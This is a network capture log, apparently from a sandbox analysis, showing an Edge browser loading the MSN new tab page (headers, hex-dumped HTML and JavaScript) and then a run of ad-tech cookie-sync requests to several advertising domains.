2025-01-08 15:18:52 UTC	8449	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 53501 Content-Type: text/html; charset=utf-8 Set-Cookie: _C_ETH=1; expires=Tue, 07 Jan 2025 15:18:52 GMT; domain=.msn.com; path=/; secure; httponly Set-Cookie: _C_Auth= Set-Cookie: sptmarket_restored=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/ Set-Cookie: USRLOC=; expires=Fri, 08 Jan 2027 15:18:52 GMT; domain=.msn.com; path=/; secure; samesite=none; httponly Set-Cookie: _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; domain=.msn.com; path=/; httponly Access-Control-Allow-Methods: HEAD,GET,OPTIONS Content-Security-Policy: child-src 'self';connect-src 'self' .mavideo.microsoft.com arc.msn.com assets.msn.com assets2.msn.com assets.msn.cn assets2.msn.cn browser.events.data.msn.com browser.events.data.msn.cn browser.events.data.microsoftstart.com browser.events.data.microsoftstart.cn business.bing.com/api/ usgov.business.bing.com/api/ cdn.hubblecontent.osi.office.net copilotexplore.azurewebsites.net events-sandbox.data.msn.com events-sandbox.data.msn.cn events-sandbox.data.microsoftstart.com events-sandbox.data.microsoftstart.cn finance-services.msn.com https://.sharepoint.com/_api/v2.0/ https://.sharepoint-df.com/_api/v2.0/ https://.sharepoint.com/_api/v2.1/ https://*.sharepoint-df.com/_api/v2.1/ https://bingretailmsndata.azureedge.net/msndata/ https://browser.pipe.aria.microsoft.com/Collector/ https://dev.virtualearth.net/REST/v1/Imagery/ https://dev.ditu.live.com/REST/v1/Imagery/ https://ecn.dev.virtualearth.net https://jsconfig.adsafeprotected.com https://g.bing.com https://msx.bing.com https://pet [TRUNCATED] X-Robots-Tag: noindex X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1 X-UA-Compatible: IE=Edge;chrome=1 x-fabric-cluster: pmeprodeus report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]},{"group":"csp-endpoint","max_age":86400,"endpoints":[{"url":"https://deff.nelreports.net/api/report"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.5} Strict-Transport-Security: max-age=1209600; includeSubDomains; preload Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Prefers-Color-Scheme, Device-Memory, Downlink, ECT, RTT, Sec-CH-DPR X-Ceto-ref: 677e975c9c284c86b866ddf803547580\|AFD:0E568B2EC2E14B088FCA3958CBF274FF\|2025-01-08T15:18:52.487Z X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 0E568B2EC2E14B088FCA3958CBF274FF Ref B: CHI30EDGE0106 Ref C: 2025-01-08T15:18:52Z Date: Wed, 08 Jan 2025 15:18:52 GMT Connection: close
2025-01-08 15:18:52 UTC	698	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 20 3e 0d 0a 3c 68 65 61 64 20 64 61 74 61 2d 69 6e 66 6f 3d 22 66 3a 6d 73 6e 61 6c 6c 65 78 70 75 73 65 72 73 2c 70 72 67 2d 73 70 2d 6c 69 76 65 61 70 69 2c 70 72 67 2d 66 69 6e 2d 63 6f 6d 70 6f 66 2c 70 72 67 2d 66 69 6e 2d 68 70 6f 66 6c 69 6f 2c 70 72 67 2d 66 69 6e 2d 70 6f 66 6c 69 6f 2c 70 72 67 2d 31 73 77 2d 63 63 2d 63 61 6c 66 65 65 64 69 63 2c 70 6e 70 77 78 65 78 70 69 72 65 39 30 2c 62 69 6e 67 5f 76 32 5f 73 63 6f 70 65 2c 70 72 67 2d 31 73 77 2d 73 61 6e 74 66 2d 6c 6e 72 6d 63 2c 70 72 67 2d 31 73 77 2d 73 61 71 6f 6f 6d 61 6e 6e 34 74 32 2c 70 72 67 2d 31 73 77 2d 73 61 67 65 69 6d 63 6f 75 6e 74 63 2c Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr" ><head data-info="f:msnallexpusers,prg-sp-liveapi,prg-fin-compof,prg-fin-hpoflio,prg-fin-poflio,prg-1sw-cc-calfeedic,pnpwxexpire90,bing_v2_scope,prg-1sw-santf-lnrmc,prg-1sw-saqoomann4t2,prg-1sw-sageimcountc,
2025-01-08 15:18:52 UTC	436	IN	Data Raw: 72 67 2d 31 73 77 2d 63 6d 65 76 6c 74 2c 70 72 67 2d 70 32 2d 74 66 2d 62 64 67 70 76 2d 61 69 2c 70 72 67 2d 70 72 32 2d 66 69 65 70 6c 63 2c 70 72 67 2d 70 72 32 2d 74 72 66 2d 72 68 69 67 68 69 6d 70 2c 70 72 67 2d 70 72 32 2d 77 78 65 76 6f 6c 6e 6f 74 69 2c 70 72 67 2d 75 70 73 61 69 70 2d 77 31 2d 74 2c 70 72 67 2d 31 73 77 2d 73 61 67 65 72 76 75 6e 69 32 61 2c 70 72 67 2d 72 65 76 69 2d 6e 6f 63 61 63 68 65 2c 31 73 2d 72 70 73 73 65 63 61 75 74 68 74 2c 6a 6a 5f 66 61 63 5f 63 2c 70 72 67 2d 70 72 32 2d 63 6d 75 69 64 73 79 6e 63 2c 63 68 61 74 6e 5f 76 32 5f 74 32 2c 70 72 67 2d 70 72 31 2d 75 63 2d 74 2c 31 73 2d 70 31 2d 70 72 6f 6d 6f 74 65 64 6f 6e 64 6d 64 2c 31 73 2d 70 31 2d 75 61 34 6f 73 76 68 77 2c 31 73 2d 77 70 6f 2d 70 72 31 2d 70 Data Ascii: rg-1sw-cmevlt,prg-p2-tf-bdgpv-ai,prg-pr2-fieplc,prg-pr2-trf-rhighimp,prg-pr2-wxevolnoti,prg-upsaip-w1-t,prg-1sw-sagervuni2a,prg-revi-nocache,1s-rpssecautht,jj_fac_c,prg-pr2-cmuidsync,chatn_v2_t2,prg-pr1-uc-t,1s-p1-promotedondmd,1s-p1-ua4osvhw,1s-wpo-pr1-p
2025-01-08 15:18:52 UTC	4096	IN	Data Raw: 68 70 2d 72 63 2d 74 74 2d 75 32 63 63 2c 70 72 67 2d 73 68 2d 66 72 6e 72 2c 70 72 67 2d 77 78 2d 64 68 67 72 64 2d 63 2c 70 72 67 2d 73 68 2d 64 65 61 6c 73 64 61 79 70 64 70 2c 70 72 67 2d 73 68 2d 72 6d 69 74 6d 6c 6e 6b 2d 63 2c 6e 6f 70 69 6e 67 6c 61 6e 63 65 63 61 72 64 69 74 2c 70 72 67 2d 63 67 2d 69 6e 67 61 6d 65 73 2d 78 6e 2d 61 64 73 2c 70 72 67 2d 63 67 2d 69 6e 2d 67 6d 2d 78 6e 2d 61 64 73 2c 70 72 67 2d 31 73 2d 77 6f 72 6b 69 64 2c 70 72 67 2d 31 73 77 2d 63 6c 61 72 69 2c 70 72 67 2d 31 73 77 2d 70 72 32 63 6c 61 72 69 74 79 2c 31 73 2d 74 65 6d 70 2d 77 69 64 2d 74 2c 70 72 67 2d 31 73 2d 74 77 69 64 2c 61 64 73 2d 6e 6f 70 6f 73 74 73 71 2d 74 2c 61 64 73 2d 6e 6f 70 6f 73 74 73 71 2c 31 73 2d 75 61 73 64 69 73 66 2d 74 2c 61 64 73 Data Ascii: hp-rc-tt-u2cc,prg-sh-frnr,prg-wx-dhgrd-c,prg-sh-dealsdaypdp,prg-sh-rmitmlnk-c,nopinglancecardit,prg-cg-ingames-xn-ads,prg-cg-in-gm-xn-ads,prg-1s-workid,prg-1sw-clari,prg-1sw-pr2clarity,1s-temp-wid-t,prg-1s-twid,ads-nopostsq-t,ads-nopostsq,1s-uasdisf-t,ads
2025-01-08 15:18:52 UTC	4096	IN	Data Raw: 64 65 74 65 63 74 69 6f 6e 26 71 75 6f 74 3b 3a 7b 26 71 75 6f 74 3b 69 70 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 31 38 35 2e 32 34 36 2e 32 30 39 2e 30 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 74 69 65 72 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 26 71 75 6f 74 3b 7d 2c 20 26 71 75 6f 74 3b 67 65 6f 5f 63 6f 75 6e 74 72 79 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 53 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 67 65 6f 5f 63 6f 75 6e 74 72 79 6e 61 6d 65 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 6e 69 74 65 64 20 53 74 61 74 65 73 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 67 65 6f 5f 73 75 62 64 69 76 69 73 69 6f 6e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 49 6c 6c 69 6e 6f 69 73 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 67 65 6f 5f 7a 69 70 26 71 75 6f 74 Data Ascii: detection":{"ip":"185.246.209.0", "tier":"p"}, "geo_country":"US", "geo_countryname":"United States", "geo_subdivision":"Illinois", "geo_zip&quot
2025-01-08 15:18:52 UTC	4096	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 76 6f 69 64 20 30 21 3d 3d 6e 26 26 76 6f 69 64 20 30 21 3d 3d 6e 2e 74 75 29 7b 63 6f 6e 73 74 20 65 3d 6e 2e 74 75 3b 6e 2e 74 75 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 65 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 29 72 65 74 75 72 6e 20 65 3b 63 6f 6e 73 74 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 69 6e 66 6f 22 29 3b 69 66 28 21 28 74 2e 69 6e 64 65 78 4f 66 28 22 6e 74 70 2d 61 66 64 68 33 74 22 29 3e 3d 30 7c 7c 74 2e 69 6e 64 65 78 4f 66 28 22 6e 74 70 2d 61 66 64 68 33 63 Data Ascii: function(){if(void 0!==n&&void 0!==n.tu){const e=n.tu;n.tu=function(t){return e(function(e){if("string"!=typeof e\|\|"undefined"==typeof document)return e;const t=document.head.getAttribute("data-info");if(!(t.indexOf("ntp-afdh3t")>=0\|\|t.indexOf("ntp-afdh3c
2025-01-08 15:18:52 UTC	4096	IN	Data Raw: 28 65 29 7b 63 6f 6e 73 74 7b 70 63 73 49 6e 66 6f 3a 74 2c 70 61 67 65 47 65 6e 54 69 6d 65 3a 6e 7d 3d 65 2c 6f 3d 6e 65 77 20 44 61 74 65 28 6e 29 2e 67 65 74 54 69 6d 65 28 29 2c 69 3d 21 74 7c 7c 5b 22 70 72 6f 64 22 2c 22 70 72 6f 64 2d 73 73 72 22 2c 22 70 72 6f 64 2d 73 73 72 6e 74 70 22 5d 2e 69 6e 63 6c 75 64 65 73 28 74 2e 65 6e 76 29 3b 46 3d 69 3f 22 62 72 6f 77 73 65 72 2e 65 76 65 6e 74 73 2e 64 61 74 61 2e 6d 73 6e 2e 63 6f 6d 22 3a 22 65 76 65 6e 74 73 2d 73 61 6e 64 62 6f 78 2e 64 61 74 61 2e 6d 73 6e 2e 63 6f 6d 22 3b 72 65 74 75 72 6e 7b 63 6f 72 73 3a 22 74 72 75 65 22 2c 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 73 6f 6e 2d 73 74 72 65 61 6d 22 2c 22 63 6c 69 65 6e 74 2d 69 64 22 3a Data Ascii: (e){const{pcsInfo:t,pageGenTime:n}=e,o=new Date(n).getTime(),i=!t\|\|["prod","prod-ssr","prod-ssrntp"].includes(t.env);F=i?"browser.events.data.msn.com":"events-sandbox.data.msn.com";return{cors:"true","content-type":"application/x-json-stream","client-id":
2025-01-08 15:18:52 UTC	4096	IN	Data Raw: 69 64 20 30 3a 65 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 29 3b 56 7c 7c 28 56 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 6e 75 6c 6c 3d 3d 3d 28 74 3d 77 69 6e 64 6f 77 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 29 29 3b 72 65 74 75 72 6e 20 56 7d 63 6f 6e 73 74 20 4b 3d 32 32 33 33 30 30 2c 7a 3d 32 32 33 33 30 31 3b 66 75 6e 63 74 69 6f 6e 20 58 28 65 2c 74 29 7b 63 6f 6e 73 74 20 6e 3d 6f 28 74 29 3b 69 66 28 6e 29 7b 63 6f 6e 73 74 20 74 3d 6e 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 65 29 2c 6f 3d 74 26 26 74 2e 74 6f 53 74 72 69 6e 67 28 29 3b 72 65 74 75 72 6e 20 74 26 26 22 61 62 6f 75 74 3a 62 6c 61 6e 6b 23 65 72 72 6f 72 22 21 3d 3d 6f Data Ascii: id 0:e.location.search);V\|\|(V=new URLSearchParams(null===(t=window)\|\|void 0===t?void 0:t.location.search));return V}const K=223300,z=223301;function X(e,t){const n=o(t);if(n){const t=n.createScriptURL(e),o=t&&t.toString();return t&&"about:blank#error"!==o
2025-01-08 15:18:52 UTC	4096	IN	Data Raw: 61 72 64 69 72 65 63 74 65 6e 74 22 2c 22 77 69 6e 70 31 74 61 73 6b 62 61 72 65 6e 74 22 2c 22 77 69 6e 70 32 6a 75 6e 74 61 73 6b 62 61 72 22 2c 22 77 69 6e 70 32 6a 75 6e 74 61 73 6b 62 61 72 65 6e 74 22 2c 22 77 69 6e 70 32 22 2c 22 77 69 6e 70 32 65 6e 74 22 2c 22 77 69 6e 70 32 66 70 22 2c 22 77 69 6e 70 32 66 70 65 6e 74 22 2c 22 77 69 6e 70 32 66 70 74 61 73 6b 62 61 72 22 2c 22 77 69 6e 70 32 66 70 74 61 73 6b 62 61 72 65 6e 74 22 2c 22 77 69 6e 70 32 66 70 74 61 73 6b 62 61 72 68 6f 76 65 72 22 2c 22 77 69 6e 70 32 66 70 74 61 73 6b 62 61 72 68 6f 76 65 72 65 6e 74 22 2c 22 77 69 6e 70 32 77 69 64 67 65 74 22 2c 22 77 69 6e 70 32 77 69 64 67 65 74 65 6e 74 22 5d 29 3b 63 6f 6e 73 74 20 41 65 3d 6e 65 77 20 53 65 74 28 5b 22 66 69 6e 61 6e 63 65 Data Ascii: ardirectent","winp1taskbarent","winp2juntaskbar","winp2juntaskbarent","winp2","winp2ent","winp2fp","winp2fpent","winp2fptaskbar","winp2fptaskbarent","winp2fptaskbarhover","winp2fptaskbarhoverent","winp2widget","winp2widgetent"]);const Ae=new Set(["finance
2025-01-08 15:18:52 UTC	4096	IN	Data Raw: 3d 21 47 65 28 22 70 72 67 2d 6e 6f 72 65 64 69 72 65 63 74 22 29 26 26 65 26 26 22 31 22 3d 3d 3d 65 2e 67 65 74 49 74 65 6d 28 59 65 29 26 26 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 74 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 64 61 74 61 73 65 74 2e 63 6c 69 65 6e 74 53 65 74 74 69 6e 67 73 7c 7c 22 22 2c 7b 62 72 6f 77 73 65 72 3a 74 7d 3d 61 65 28 65 29 7c 7c 7b 7d 2c 7b 62 72 6f 77 73 65 72 54 79 70 65 3a 6e 3d 22 22 7d 3d 74 7c 7c 7b 7d 3b 72 65 74 75 72 6e 21 21 2f 73 61 66 61 72 69 2f 69 2e 74 65 73 74 28 6e 29 7d 28 29 3b 72 65 74 75 72 6e 20 74 7d 29 29 3b 63 6f 6e 73 74 20 69 74 3d 75 28 28 28 29 3d 3e 7b 63 6f 6e 73 74 20 65 3d 6a 65 28 29 3b 72 65 74 75 72 6e 20 65 26 26 22 31 22 3d 3d 3d 65 2e 67 65 74 49 74 65 6d 28 5a 65 29 Data Ascii: =!Ge("prg-noredirect")&&e&&"1"===e.getItem(Ye)&&function(){const e=document.head.dataset.clientSettings\|\|"",{browser:t}=ae(e)\|\|{},{browserType:n=""}=t\|\|{};return!!/safari/i.test(n)}();return t}));const it=u((()=>{const e=je();return e&&"1"===e.getItem(Ze)
2025-01-08 15:18:52 UTC	4096	IN	Data Raw: 43 6f 6d 70 6f 6e 65 6e 74 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 2c 22 61 64 73 52 65 66 65 72 65 72 22 29 2b 74 68 69 73 2e 71 73 28 6e 75 6c 6c 3d 3d 3d 28 65 3d 64 28 29 3f 77 69 6e 64 6f 77 2e 64 65 76 69 63 65 50 69 78 65 6c 52 61 74 69 6f 3a 74 65 28 29 2e 64 65 76 69 63 65 50 69 78 65 6c 52 61 74 69 6f 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 74 6f 53 74 72 69 6e 67 28 29 2c 22 64 65 76 69 63 65 50 69 78 65 6c 52 61 74 69 6f 22 29 7d 71 73 46 72 6f 6d 53 65 72 76 69 63 65 57 6f 72 6b 65 72 28 29 7b 69 66 28 21 6e 61 76 69 67 61 74 6f 72 2e 73 65 72 76 69 63 65 57 6f 72 6b 65 72 7c 7c 21 6e 61 76 69 67 61 74 6f 72 2e 73 65 72 76 69 63 65 57 6f 72 6b 65 72 2e 63 6f 6e 74 72 6f 6c 6c 65 72 29 72 Data Ascii: Component(window.location.href),"adsReferer")+this.qs(null===(e=d()?window.devicePixelRatio:te().devicePixelRatio)\|\|void 0===e?void 0:e.toString(),"devicePixelRatio")}qsFromServiceWorker(){if(!navigator.serviceWorker\|\|!navigator.serviceWorker.controller)r

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.11.20	58099	35.213.89.133	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:52 UTC	641	OUT	GET /cs/msn?id=37FD034F4FC568D43F2E16214E436968&gdpr=0&gdpr_consent= HTTP/1.1 Host: trace.popin.cc Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:52 UTC	289	IN	HTTP/1.1 200 OK Set-Cookie: __mguid_=09ac98cf9b8c603c1w46ae00m5o1oi3d; Path=/; Domain=popin.cc; Max-Age=31536000; Secure; SameSite=None Date: Wed, 08 Jan 2025 15:18:52 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.11.20	63598	52.223.22.214	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:52 UTC	615	OUT	GET /getuid?ld=1&gdpr=0&cmp_cs=&us_privacy= HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:52 UTC	172	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:18:52 GMT Content-Type: image/gif Content-Length: 37 Connection: close Cache-Control: no-cache, no-store, must-revalidate
2025-01-08 15:18:52 UTC	37	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.11.20	53209	68.67.181.248	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:52 UTC	692	OUT	GET /bounce?%2Fgetuid%3Fhttps%3A%2F%2Fc.bing.com%2Fc.gif%3Fanx_uid%3D%24UID%26Red3%3DMSAN_pd%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:52 UTC	1032	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Wed, 08 Jan 2025 15:18:52 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://c.bing.com/c.gif?anx_uid=0&Red3=MSAN_pd&gdpr=0&gdpr_consent= AN-X-Request-Uuid: 189a8189-fc7a-4216-aa18-ea1bae31c8fe Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Wed, 27-Dec-2034 15:18:52 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned X-Proxy-Origin: 185.246.209.154; 185.246.209.154; 1043.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.11.20	54723	172.241.51.69	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:52 UTC	647	OUT	GET /sync?ssp=msn&id=37FD034F4FC568D43F2E16214E436968&gdpr=0&gdpr_consent= HTTP/1.1 Host: code.yengo.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:53 UTC	255	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 08 Jan 2025 15:18:53 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close Strict-Transport-Security: max-age=15768000; includeSubdomains; preload X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.11.20	56907	68.67.179.153	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:53 UTC	934	OUT	GET /bounce?%2Fmapuid%3Fmember%3D280%26user%3D37FD034F4FC568D43F2E16214E436968%3B%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D37FD034F4FC568D43F2E16214E436968%252526gdpr%25253D0%252526gdpr_consent%25253D HTTP/1.1 Host: m.adnxs.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:53 UTC	1534	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Wed, 08 Jan 2025 15:18:53 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://m.adnxs.com/seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D37FD034F4FC568D43F2E16214E436968%26gdpr%3D0%26gdpr_consent%3D AN-X-Request-Uuid: 4cd9fc2c-dbfb-40e0-a040-31f15ef31fc8 Set-Cookie: XANDR_PANID=5AdmIbgwVZwZLYNXlJnypEJFFNS4zaZbNXCnswBvRQRTlpl-WrftezIQ1M6B17062Q6XBR4wQn6jEBeI_jen2fegU1dnqJjhOLG45CDBXgA.; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 08-Apr-2025 15:18:53 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Wed, 27-Dec-2034 15:18:53 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=4591360299578886402; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 08-Apr-2025 15:18:53 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 185.246.209.154; 185.246.209.154; 570.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.11.20	50829	20.33.55.12	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:53 UTC	684	OUT	GET /sync?redirect=%7BPubRedirectUrl%7D&gdpr_consent=&gdpr=0&us_privacy=&gdpr_pd=&source=5&google_push=&retry= HTTP/1.1 Host: sync.inmobi.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:53 UTC	218	IN	HTTP/1.1 200 OK vary: Origin,Access-Control-Request-Method,Access-Control-Request-Headers content-length: 0 date: Wed, 08 Jan 2025 15:18:53 GMT x-envoy-upstream-service-time: 0 server: envoy connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.11.20	65289	68.67.179.153	443

Timestamp	Bytes transferred	Direction	Data
